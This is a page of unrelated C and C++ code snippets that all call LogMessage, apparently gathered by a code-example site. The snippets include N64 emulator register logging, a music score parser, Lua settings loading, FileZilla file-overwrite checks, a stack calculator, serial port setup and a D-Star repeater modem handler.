		case 0xA4400000: LogMessage("%08X: Writing 0x%08X to VI_STATUS_REG/VI_CONTROL_REG",PC, Value ); return;
		case 0xA4400004: LogMessage("%08X: Writing 0x%08X to VI_ORIGIN_REG/VI_DRAM_ADDR_REG",PC, Value ); return;
		case 0xA4400008: LogMessage("%08X: Writing 0x%08X to VI_WIDTH_REG/VI_H_WIDTH_REG",PC, Value ); return;
		case 0xA440000C: LogMessage("%08X: Writing 0x%08X to VI_INTR_REG/VI_V_INTR_REG",PC, Value ); return;
		case 0xA4400010: LogMessage("%08X: Writing 0x%08X to VI_CURRENT_REG/VI_V_CURRENT_LINE_REG",PC, Value ); return;
		case 0xA4400014: LogMessage("%08X: Writing 0x%08X to VI_BURST_REG/VI_TIMING_REG",PC, Value ); return;
		case 0xA4400018: LogMessage("%08X: Writing 0x%08X to VI_V_SYNC_REG",PC, Value ); return;
		case 0xA440001C: LogMessage("%08X: Writing 0x%08X to VI_H_SYNC_REG",PC, Value ); return;
		case 0xA4400020: LogMessage("%08X: Writing 0x%08X to VI_LEAP_REG/VI_H_SYNC_LEAP_REG",PC, Value ); return;
		case 0xA4400024: LogMessage("%08X: Writing 0x%08X to VI_H_START_REG/VI_H_VIDEO_REG",PC, Value ); return;
		case 0xA4400028: LogMessage("%08X: Writing 0x%08X to VI_V_START_REG/VI_V_VIDEO_REG",PC, Value ); return;
		case 0xA440002C: LogMessage("%08X: Writing 0x%08X to VI_V_BURST_REG",PC, Value ); return;
		case 0xA4400030: LogMessage("%08X: Writing 0x%08X to VI_X_SCALE_REG",PC, Value ); return;
		case 0xA4400034: LogMessage("%08X: Writing 0x%08X to VI_Y_SCALE_REG",PC, Value ); return;
		}
	}

    if ( VAddr >= 0xA4500000 && VAddr <= 0xA4500014) {
		if (!LogOptions.LogAudioInterface) { return; }
		switch (VAddr) {
		case 0xA4500000: LogMessage("%08X: Writing 0x%08X to AI_DRAM_ADDR_REG",PC, Value ); return;
		case 0xA4500004: LogMessage("%08X: Writing 0x%08X to AI_LEN_REG",PC, Value ); return;
		case 0xA4500008: LogMessage("%08X: Writing 0x%08X to AI_CONTROL_REG",PC, Value ); return;
		case 0xA450000C: LogMessage("%08X: Writing 0x%08X to AI_STATUS_REG",PC, Value ); return;
		case 0xA4500010: LogMessage("%08X: Writing 0x%08X to AI_DACRATE_REG",PC, Value ); return;
		case 0xA4500014: LogMessage("%08X: Writing 0x%08X to AI_BITRATE_REG",PC, Value ); return;
		}
	}

    if ( VAddr >= 0xA4600000 && VAddr <= 0xA4600030) {
		if (!LogOptions.LogPerInterface) { return; }
		switch (VAddr) {
		case 0xA4600000: LogMessage("%08X: Writing 0x%08X to PI_DRAM_ADDR_REG",PC, Value ); return;
		case 0xA4600004: LogMessage("%08X: Writing 0x%08X to PI_CART_ADDR_REG",PC, Value ); return;
		case 0xA4600008: LogMessage("%08X: Writing 0x%08X to PI_RD_LEN_REG",PC, Value ); return;
		case 0xA460000C: LogMessage("%08X: Writing 0x%08X to PI_WR_LEN_REG",PC, Value ); return;
		case 0xA4600010: LogMessage("%08X: Writing 0x%08X to PI_STATUS_REG",PC, Value ); return;
		case 0xA4600014: LogMessage("%08X: Writing 0x%08X to PI_BSD_DOM1_LAT_REG/PI_DOMAIN1_REG",PC, Value ); return;
		case 0xA4600018: LogMessage("%08X: Writing 0x%08X to PI_BSD_DOM1_PWD_REG",PC, Value ); return;
		case 0xA460001C: LogMessage("%08X: Writing 0x%08X to PI_BSD_DOM1_PGS_REG",PC, Value ); return;
		case 0xA4600020: LogMessage("%08X: Writing 0x%08X to PI_BSD_DOM1_RLS_REG",PC, Value ); return;
		case 0xA4600024: LogMessage("%08X: Writing 0x%08X to PI_BSD_DOM2_LAT_REG/PI_DOMAIN2_REG",PC, Value ); return;
		case 0xA4600028: LogMessage("%08X: Writing 0x%08X to PI_BSD_DOM2_PWD_REG",PC, Value ); return;
		case 0xA460002C: LogMessage("%08X: Writing 0x%08X to PI_BSD_DOM2_PGS_REG",PC, Value ); return;
		case 0xA4600030: LogMessage("%08X: Writing 0x%08X to PI_BSD_DOM2_RLS_REG",PC, Value ); return;
		}
	}
    if ( VAddr >= 0xA4700000 && VAddr <= 0xA470001C) {
		if (!LogOptions.LogRDRAMInterface) { return; }
		switch (VAddr) {
		case 0xA4700000: LogMessage("%08X: Writing 0x%08X to RI_MODE_REG",PC, Value ); return;
		case 0xA4700004: LogMessage("%08X: Writing 0x%08X to RI_CONFIG_REG",PC, Value ); return;
		case 0xA4700008: LogMessage("%08X: Writing 0x%08X to RI_CURRENT_LOAD_REG",PC, Value ); return;
		case 0xA470000C: LogMessage("%08X: Writing 0x%08X to RI_SELECT_REG",PC, Value ); return;
		case 0xA4700010: LogMessage("%08X: Writing 0x%08X to RI_REFRESH_REG/RI_COUNT_REG",PC, Value ); return;
		case 0xA4700014: LogMessage("%08X: Writing 0x%08X to RI_LATENCY_REG",PC, Value ); return;
		case 0xA4700018: LogMessage("%08X: Writing 0x%08X to RI_RERROR_REG",PC, Value ); return;
		case 0xA470001C: LogMessage("%08X: Writing 0x%08X to RI_WERROR_REG",PC, Value ); return;
		}
	}
    if ( VAddr == 0xA4800000) {
		if (!LogOptions.LogSerialInterface) { return; }		
		LogMessage("%08X: Writing 0x%08X to SI_DRAM_ADDR_REG",PC, Value ); return;
	}
    if ( VAddr == 0xA4800004) {
		if (LogOptions.LogPRDMAOperations) {
			LogMessage("%08X: A DMA transfer from the PIF ram has occured",PC );			
		}
		if (!LogOptions.LogSerialInterface) { return; }		
		LogMessage("%08X: Writing 0x%08X to SI_PIF_ADDR_RD64B_REG",PC, Value ); return;
	}
    if ( VAddr == 0xA4800010) {
		if (LogOptions.LogPRDMAOperations) {
			LogMessage("%08X: A DMA transfer to the PIF ram has occured",PC );			
		}
		if (!LogOptions.LogSerialInterface) { return; }		
		LogMessage("%08X: Writing 0x%08X to SI_PIF_ADDR_WR64B_REG",PC, Value ); return;
	}
    if ( VAddr == 0xA4800018) {
		if (!LogOptions.LogSerialInterface) { return; }		
		LogMessage("%08X: Writing 0x%08X to SI_STATUS_REG",PC, Value ); return;
	}

	if ( VAddr >= 0xBFC007C0 && VAddr <= 0xBFC007FC ) {
		if (!LogOptions.LogPRDirectMemStores) { return; }
		LogMessage("%08X: Writing 0x%08X to Pif Ram at 0x%X",PC,Value, VAddr - 0xBFC007C0);
		return;
	}
	if (!LogOptions.LogUnknown) { return; }
	LogMessage("%08X: Writing 0x%08X to %08X ????",PC, Value, VAddr );
}
Ejemplo n.º 23
0
void SSCScore::GenerateScore(SSModule *callingMod)
{
	unsigned char *buffer;
	ScoreSectionPtr	sp;
	NoteEventPtr	np;
	char		*p;

	// Open the file
	buffer = SuckFilefromSpec(&scoreFileSpec);	// Locally implemented
	if (buffer == NULL) {
		ErrorMessage("Can't open score file");
		parList->itsOwner->AbortSynthesis();
		return;
	}
	
	p = (char *) buffer;
	// Reset vars
	nbrSections = 0;
	sections = NULL;
	AddSection();

	sp = sections;
	sp->sectionStart = 0.0;
	sp->tempoScale = 1.0;
	sp->tempoStart = 0.0;
	sp->timeStart = 0.0;

	while (*p && parList->itsOwner->windowState == WS_Synthesize) {
		if (isspace(*p))
			++p;
		else if (*p == ';' || *p == '#')
		{
			while (*p && *p != '\r' && *p != '\n')
				++p;
		}
		else if (*p == 't')	// tempo
		{
			ssfloat	p1,p2;
			Boolean	gotIt;
			++p;
			p = GrabParam(p,1,&p1,&gotIt);
			p = GrabParam(p,2,&p2,&gotIt);

			sp->timeStart = (p1 - sp->tempoStart) * sp->tempoScale + sp->timeStart;
			sp->tempoStart = p1;
			sp->tempoScale = 60 / p2;
			// np = AddNoteEvent(sp,NEF_Tempo,((int) p1)-1,p2,0,0);
			while (*p && *p != '\r' && *p != '\n')
				++p;
		}
		else if (*p == 'f')	// table  (f0 is used to create silence)
		{
			// !!! Add wave table event NEF_Function
			while (*p && *p != '\r' && *p != '\n')
				++p;
		}
		else if (*p == 'i')	// note event
		{
	//  If 'i', parse instrument  '+' in p2 = p2+p3   '.' = previous field  
									// '<' is for ramping (mark 'begin ramp')
									//  '>' treat as for ramping as well
			ssfloat	p1,p2,p3;
			ssfloat optP[16];
			int	nbrOpts = 0;
			int n,i;
			Boolean	gotIt;
			++p;
			p = GrabParam(p,1,&p1,&gotIt);
			p = GrabParam(p,2,&p2,&gotIt);
			p = GrabParam(p,3,&p3,&gotIt);
			n = 4;
			do {
				p = GrabParam(p,n,&optP[nbrOpts],&gotIt);
				++n;
				if (gotIt)
					++nbrOpts;
			} while (gotIt);
			np = AddNoteEvent(sp,0,(int) p1,p2,p3,nbrOpts);
			for (i = 0; i < nbrOpts; ++i)
				np->op[i] = optP[i];
		}
		else if (*p == 's')	// section end
		{
			ScoreSectionPtr	lastS = sp;
			AddSection();
			sp = sections + (nbrSections-1);
			sp->sectionStart = lastS->sectionStart+lastS->sectionLength;
			sp->tempoScale = 1.0;
			sp->tempoStart = 0.0;
			sp->timeStart = 0.0;
			while (*p && *p != '\r' && *p != '\n')
				++p;
		}
		else if (*p == 'e')	// end of score
		{			
			break;
		}
		else {
			ErrorMessage("Invalid line in score: %.20s",p);
			parList->itsOwner->AbortSynthesis();
		}
	}
  if (gDurationOverride) {
    ssfloat scoreDuration = (sp->sectionStart + sp->sectionLength)*sp->tempoScale;
    SSOutput *outMod = (SSOutput *) (parList->itsOwner->outMod);
    if (outMod != NULL && scoreDuration > outMod->sampleDuration)
    {
      LogMessage("Overriding duration %g -> %g\n", outMod->sampleDuration, scoreDuration);
      outMod->sampleDuration = scoreDuration;
      parList->itsOwner->mainInst->sampleDuration = scoreDuration;
    }
  }
	MyDisposePtr(buffer);
	buffer = NULL;
}
Ejemplo n.º 24
0
bool cs6963::UserSettings::Initialize()
{
	LogMessage( "Initializing user settings" );
	bool didInitializationSucceed = true;

	// Create a new Lua state
	lua_State* luaState = NULL;
	bool wasUserSettingsEnvironmentCreated = false;
	{
		luaState = luaL_newstate();
		if ( luaState == NULL )
		{
			LogMessage( "Memory allocation error while creating new Lua state!" );
			didInitializationSucceed = false;
			goto CleanUp;
		}
	}
	// Create an empty table to be used as the Lua environment for the user settings
	{
		lua_newtable( luaState );
		wasUserSettingsEnvironmentCreated = true;
	}
	// Load the user settings
	bool doesUserSettingsFileExist;
	if ( LoadUserSettingsIntoLuaTable( *luaState, doesUserSettingsFileExist ) )
	{
		if ( doesUserSettingsFileExist )
		{
			// Populate the user settings in C from the user settings in the Lua environment
			if ( !PopulateUserSettingsFromLuaTable( *luaState ) )
			{
				didInitializationSucceed = false;
				goto CleanUp;
			}
		}
	}
	else
	{
		didInitializationSucceed = false;
		goto CleanUp;
	}

	// Free the Lua environment

CleanUp:

	if ( luaState )
	{
		if ( wasUserSettingsEnvironmentCreated )
		{
			lua_pop( luaState, 1 );
		}
		// Sanity Check
		{
			int stackItemCount = lua_gettop( luaState );
			if ( stackItemCount != 0 )
			{
				std::ostringstream errorMessage;
				errorMessage << "There are still " << stackItemCount
					<< " items in the Lua stack when the Lua state is being closed";
				LogMessage( errorMessage.str() );
				didInitializationSucceed = false;
			}
		}
		lua_close( luaState );
	}

	return didInitializationSucceed;
}
Ejemplo n.º 25
0
int CControlSocket::CheckOverwriteFile()
{
	if (!m_pCurOpData)
	{
		LogMessage(__TFILE__, __LINE__, this, Debug_Info, _T("Empty m_pCurOpData"));
		ResetOperation(FZ_REPLY_INTERNALERROR);
		return FZ_REPLY_ERROR;
	}

	CFileTransferOpData *pData = static_cast<CFileTransferOpData *>(m_pCurOpData);

	if (pData->download)
	{
		if (!wxFile::Exists(pData->localFile))
			return FZ_REPLY_OK;
	}

	CDirentry entry;
	bool dirDidExist;
	bool matchedCase;
	CDirectoryCache cache;
	CServerPath remotePath;
	if (pData->tryAbsolutePath || m_CurrentPath.IsEmpty())
		remotePath = pData->remotePath;
	else
		remotePath = m_CurrentPath;
	bool found = cache.LookupFile(entry, *m_pCurrentServer, remotePath, pData->remoteFile, dirDidExist, matchedCase);

	// Ignore entries with wrong case
	if (found && !matchedCase)
		found = false;

	if (!pData->download)
	{
		if (!found && pData->remoteFileSize == -1 && !pData->fileTime.IsValid())
			return FZ_REPLY_OK;
	}

	CFileExistsNotification *pNotification = new CFileExistsNotification;

	pNotification->download = pData->download;
	pNotification->localFile = pData->localFile;
	pNotification->remoteFile = pData->remoteFile;
	pNotification->remotePath = pData->remotePath;
	pNotification->localSize = pData->localFileSize;
	pNotification->remoteSize = pData->remoteFileSize;
	pNotification->ascii = !pData->transferSettings.binary;

	if (pData->download && pNotification->localSize != -1)
		pNotification->canResume = true;
	else if (!pData->download && pNotification->remoteSize != -1)
		pNotification->canResume = true;
	else
		pNotification->canResume = false;

	wxStructStat buf;
	int result;
	result = wxStat(pData->localFile, &buf);
	if (!result)
	{
		pNotification->localTime = wxDateTime(buf.st_mtime);
		if (!pNotification->localTime.IsValid())
			pNotification->localTime = wxDateTime(buf.st_ctime);
	}

	if (pData->fileTime.IsValid())
		pNotification->remoteTime = pData->fileTime;

	if (found)
	{
		if (!pData->fileTime.IsValid())
		{
			if (entry.hasDate)
			{
				pNotification->remoteTime = entry.time;
				pData->fileTime = entry.time;
			}
		}
	}

	SendAsyncRequest(pNotification);

	return FZ_REPLY_WOULDBLOCK;
}
Ejemplo n.º 26
0
void OSResult::addError(const std::string& channel, const std::string& message) {
  m_errors.push_back(LogMessage(Error,channel,message));
}
void OperateurPile::Execution()
{
    if (operation=="SWAP")
    {

        Constante * c1;
        Constante * c2;
        c1=Historique::GetInstance()->GetPileCalcul().Depiler();
        c2=Historique::GetInstance()->GetPileCalcul().Depiler();
        this->SWAP(c1, c2);

        QString opG=c1->ToQString();
        QString opD=c2->ToQString();


        LogSystem::GetInstance()->Publier(LogMessage("Echange de l'élément "+opG+" avec "+opD,2));
        delete c1;
        delete c2;


    }
    if (operation=="SUM")
    {
        Constante * c1=Historique::GetInstance()->GetPileCalcul().Depiler();
        Historique::GetInstance()->GetPileCalcul().Empiler(this->SUM(c1));

        QString opG=c1->ToQString();
        LogSystem::GetInstance()->Publier(LogMessage("Somme des "+opG+" premiers éléments",2));
        delete c1;

    }
    if (operation=="MEAN")
    {
        Entier * c1 =  dynamic_cast<Entier *>(Historique::GetInstance()->GetPileCalcul().Depiler());
        if (c1==NULL)
        {
            throw Exception("Erreur : Impossible de faire la moyenne d'un nombre non entier d'éléments.");
        }
        else
        {
            Constante * temp = this->SUM(c1);
            Historique::GetInstance()->GetPileCalcul().Empiler(temp->operator/(c1));
            delete temp;
            QString opG=c1->ToQString();
            LogSystem::GetInstance()->Publier(LogMessage("Moyenne des"+opG+" premiers éléments",2));
            delete c1;
        }

    }

    if (operation=="CLEAR")
    {
        /* Il faut penser à liberer la memoire quand on vide la pile*/

        PileCalcul& p=Historique::GetInstance()->GetPileCalcul();

        p.Vider();

        LogSystem::GetInstance()->Publier(LogMessage("La pile est vidée",2));



    }

    if (operation=="DUP")
    {
        Constante * temp = Historique::GetInstance()->GetPileCalcul().Depiler();
        Constante * cpy = temp->clone();
        Constante * cpy2 = temp->clone();
        delete temp;
        Historique::GetInstance()->GetPileCalcul().Empiler(cpy2);
        Historique::GetInstance()->GetPileCalcul().Empiler(cpy);

        LogSystem::GetInstance()->Publier(LogMessage("Dédoublement du premier élément de la Pile",2));
    }

    if (operation=="DROP")
    {
         delete Historique::GetInstance()->GetPileCalcul().Depiler();
        LogSystem::GetInstance()->Publier(LogMessage("Le premier élément de la pile a été effacé",2));
    }

}
Ejemplo n.º 28
0
void OSResult::addWarning(const std::string& channel, const std::string& message) {
  m_warnings.push_back(LogMessage(Warn,channel,message));
}
Ejemplo n.º 29
0
int SerialPort::Initialize()
{
   if (initialized_)
      return DEVICE_OK;

   // do not initialize if this port has been blacklisted
   std::vector<std::string>::iterator it = g_BlackListedPorts.begin();
   while (it < g_BlackListedPorts.end()) {
      if( portName_ == (*it))
         return ERR_PORT_BLACKLISTED;
      it++;
   }

   long sb;
   int ret = GetPropertyData(MM::g_Keyword_StopBits, stopBits_.c_str(), sb);
   assert(ret == DEVICE_OK);

   long parity;
   ret = GetPropertyData(MM::g_Keyword_Parity, parity_.c_str(), parity);

   long baud;
   ret = GetCurrentPropertyData(MM::g_Keyword_BaudRate, baud);
   assert(ret == DEVICE_OK);

   long handshake;
   ret = GetCurrentPropertyData(MM::g_Keyword_Handshaking, handshake);
   assert(ret == DEVICE_OK);

   pService_ = new boost::asio::io_service();

   try
   {
      pPort_ = new AsioClient (*pService_, boost::lexical_cast<unsigned int>(baud), this->portName_,
          boost::asio::serial_port_base::flow_control::type(handshake),
          boost::asio::serial_port_base::parity::type(parity),
          boost::asio::serial_port_base::stop_bits::type(sb),
          this
            ); 
   }
   catch( std::exception& what)
   {
      LogMessage(what.what(),false);
      return DEVICE_ERR;
   }

   try
   {
      pThread_ = new boost::thread(boost::bind(&boost::asio::io_service::run, pService_)); 
   }
   catch(std::exception& what)
   {
      LogMessage(what.what(), false);
      return DEVICE_ERR;
   }

   ret = UpdateStatus();
   if (ret != DEVICE_OK)
      return ret;

   initialized_ = true;
   return DEVICE_OK;
}
Ejemplo n.º 30
0
bool CDStarControl::writeModem(unsigned char *data)
{
	unsigned char type = data[0U];

	if (type == TAG_LOST && m_state == RS_RELAYING_RF_AUDIO) {
		if (m_bits == 0U) m_bits = 1U;
		LogMessage("D-Star, transmission lost, %.1f seconds, BER: %.1f%%", float(m_frames) / 50.0F, float(m_errs * 100U) / float(m_bits));
		m_ackTimer.start();
		writeEndOfTransmission();
		return false;
	}

	if (type == TAG_LOST) {
		if (m_state == RS_LATE_ENTRY)
			m_state = RS_LISTENING;
		return false;
	}

	if (type == TAG_HEADER) {
		CDStarHeader header(data + 1U);

		// Is this a transmission destined for a repeater?
		if (!header.isRepeater()) {
			LogMessage("D-Star, non repeater RF header received");
			return false;
		}

		unsigned char callsign[DSTAR_LONG_CALLSIGN_LENGTH];
		header.getRPTCall1(callsign);

		// Is it for us?
		if (::memcmp(callsign, m_callsign, DSTAR_LONG_CALLSIGN_LENGTH) != 0) {
			LogMessage("D-Star, received RF header for wrong repeater - %8.8s", callsign);
			return false;
		}

		unsigned char gateway[DSTAR_LONG_CALLSIGN_LENGTH];
		header.getRPTCall2(gateway);

		unsigned char my1[DSTAR_LONG_CALLSIGN_LENGTH];
		header.getMyCall1(my1);

		unsigned char my2[DSTAR_SHORT_CALLSIGN_LENGTH];
		header.getMyCall2(my2);

		unsigned char your[DSTAR_LONG_CALLSIGN_LENGTH];
		header.getYourCall(your);

		m_net = ::memcmp(gateway, m_gateway, DSTAR_LONG_CALLSIGN_LENGTH) == 0;

		if (m_state == RS_LISTENING) {
			// Only start the timeout if not already running
			if (!m_timeoutTimer.isRunning()) {
				m_timeoutTimer.start();
				m_bits = 1U;
				m_errs = 0U;
			}

			m_header = header;

			m_networkWatchdog.stop();
			m_holdoffTimer.stop();
			m_ackTimer.stop();

			m_frames = 1U;
			m_lost = 0U;

			m_n = 0U;

			if (m_duplex) {
				// Modify the header
				header.setRepeater(false);
				header.setRPTCall1(m_callsign);
				header.setRPTCall2(m_callsign);
				header.get(data + 1U);

				writeQueueHeader(data);
			}

			if (m_net) {
				// Modify the header
				header.setRepeater(false);
				header.setRPTCall1(m_callsign);
				header.setRPTCall2(m_gateway);
				header.get(data + 1U);

				for (unsigned i = 0U; i < 3U; i++)
					writeNetworkHeader(data, false);
			}

			m_state = RS_RELAYING_RF_AUDIO;

			m_display->writeDStar(std::string((char*)my1, 8U), std::string((char*)my2, 4U));

			LogMessage("D-Star, received RF header from %8.8s/%4.4s to %8.8s", my1, my2, your);
		} else if (m_state == RS_RELAYING_NETWORK_AUDIO) {
			if (m_net) {
				for (unsigned i = 0U; i < 3U; i++)
					writeNetworkHeader(data, true);
			}

			LogMessage("D-Star, received RF busy header from %8.8s/%4.4s to %8.8s", my1, my2, your);

			return false;
		}
	} else if (type == TAG_EOT) {
		if (m_state == RS_RELAYING_RF_AUDIO) {
			if (m_net) {
				for (unsigned int i = 0U; i < 2U; i++)
					writeNetworkData(DSTAR_END_PATTERN_BYTES, 0U, true, false);
			}

			if (m_duplex) {
				for (unsigned int i = 0U; i < 3U; i++)
					writeQueueData(DSTAR_END_PATTERN_BYTES);
			}

			m_ackTimer.start();

			if (m_bits == 0U) m_bits = 1U;
			LogMessage("D-Star, received RF end of transmission, %.1f seconds, BER: %.1f%%", float(m_frames) / 50.0F, float(m_errs * 100U) / float(m_bits));

			writeEndOfTransmission();
		} else if (m_state == RS_RELAYING_NETWORK_AUDIO) {
			if (m_net) {
				for (unsigned int i = 0U; i < 2U; i++)
					writeNetworkData(DSTAR_END_PATTERN_BYTES, 0U, true, true);
			}
		}

		return false;
	} else if (type == TAG_DATA) {
		if (m_state == RS_LISTENING) {
			// The sync is regenerated by the modem so can do exact match
			if (::memcmp(data + 1U + DSTAR_VOICE_FRAME_LENGTH_BYTES, DSTAR_SYNC_BYTES, DSTAR_DATA_FRAME_LENGTH_BYTES) == 0) {
				m_slowData.start();
				m_state = RS_LATE_ENTRY;
			}

			return false;
		} else if (m_state == RS_RELAYING_RF_AUDIO) {
			unsigned int errors = m_fec.regenerateDStar(data + 1U);
			m_errs += errors;
			m_bits += 48U;

			m_frames++;

			// The sync is regenerated by the modem so can do exact match
			if (::memcmp(data + 1U + DSTAR_VOICE_FRAME_LENGTH_BYTES, DSTAR_SYNC_BYTES, DSTAR_DATA_FRAME_LENGTH_BYTES) == 0)
				m_n = 0U;

			// Regenerate the sync
			if (m_n == 0U)
				::memcpy(data + DSTAR_VOICE_FRAME_LENGTH_BYTES + 1U, DSTAR_SYNC_BYTES, DSTAR_DATA_FRAME_LENGTH_BYTES);

			m_n = (m_n + 1U) % 21U;

			if (m_net)
				writeNetworkData(data, errors, false, false);

			if (m_duplex) {
				blankDTMF(data + 1U);
				writeQueueData(data);
			}
		} else if (m_state == RS_RELAYING_NETWORK_AUDIO) {
			m_fec.regenerateDStar(data + 1U);

			if (m_net)
				writeNetworkData(data, 0U, false, true);

			return false;
		} else if (m_state == RS_LATE_ENTRY) {
			// The sync is regenerated by the modem so can do exact match
			if (::memcmp(data + 1U + DSTAR_VOICE_FRAME_LENGTH_BYTES, DSTAR_SYNC_BYTES, DSTAR_DATA_FRAME_LENGTH_BYTES) == 0) {
				m_slowData.reset();
				return false;
			}

			CDStarHeader* header = m_slowData.add(data + 1U);
			if (header == NULL)
				return false;

			// Is this a transmission destined for a repeater?
			if (!header->isRepeater()) {
				LogMessage("D-Star, non repeater RF late entry header received");
				return false;
			}

			unsigned char callsign[DSTAR_LONG_CALLSIGN_LENGTH];
			header->getRPTCall1(callsign);

			// Is it for us?
			if (::memcmp(callsign, m_callsign, DSTAR_LONG_CALLSIGN_LENGTH) != 0) {
				LogMessage("D-Star, received RF header for wrong repeater - %8.8s", callsign);
				return false;
			}

			unsigned char gateway[DSTAR_LONG_CALLSIGN_LENGTH];
			header->getRPTCall2(gateway);

			unsigned char my1[DSTAR_LONG_CALLSIGN_LENGTH];
			header->getMyCall1(my1);

			unsigned char my2[DSTAR_SHORT_CALLSIGN_LENGTH];
			header->getMyCall2(my2);

			unsigned char your[DSTAR_LONG_CALLSIGN_LENGTH];
			header->getYourCall(your);

			m_net = ::memcmp(gateway, m_gateway, DSTAR_LONG_CALLSIGN_LENGTH) == 0;

			// Only reset the timeout if the timeout is not running
			if (!m_timeoutTimer.isRunning()) {
				m_timeoutTimer.start();
				m_bits = 1U;
				m_errs = 0U;
			}

			// Create a dummy start frame to replace the received frame
			m_networkWatchdog.stop();
			m_ackTimer.stop();

			m_header = *header;

			m_frames = 1U;
			m_lost = 0U;

			m_n = 1U;

			if (m_duplex) {
				unsigned char start[DSTAR_HEADER_LENGTH_BYTES + 1U];
				start[0U] = TAG_HEADER;

				// Modify the header
				header->setRepeater(false);
				header->setRPTCall1(m_callsign);
				header->setRPTCall2(m_callsign);
				header->get(start + 1U);

				writeQueueHeader(start);
			}

			if (m_net) {
				unsigned char start[DSTAR_HEADER_LENGTH_BYTES + 1U];
				start[0U] = TAG_HEADER;

				// Modify the header
				header->setRepeater(false);
				header->setRPTCall1(m_gateway);
				header->setRPTCall2(m_callsign);
				header->get(start + 1U);

				for (unsigned int i = 0U; i < 3U; i++)
					writeNetworkHeader(start, false);
			}

			delete header;

			unsigned int errors = m_fec.regenerateDMR(data + 1U);
			m_errs += errors;
			m_bits += 48U;

			if (m_net)
				writeNetworkData(data, errors, false, false);

			if (m_duplex) {
				blankDTMF(data + 1U);
				writeQueueData(data);
			}

			m_state = RS_RELAYING_RF_AUDIO;

			m_display->writeDStar(std::string((char*)my1, 8U), std::string((char*)my2, 4U));

			LogMessage("D-Star, received RF late entry from %8.8s/%4.4s to %8.8s", my1, my2, your);
		}
	} else {
		CUtils::dump("D-Star, unknown data from modem", data, DSTAR_FRAME_LENGTH_BYTES + 1U);
	}

	return true;
}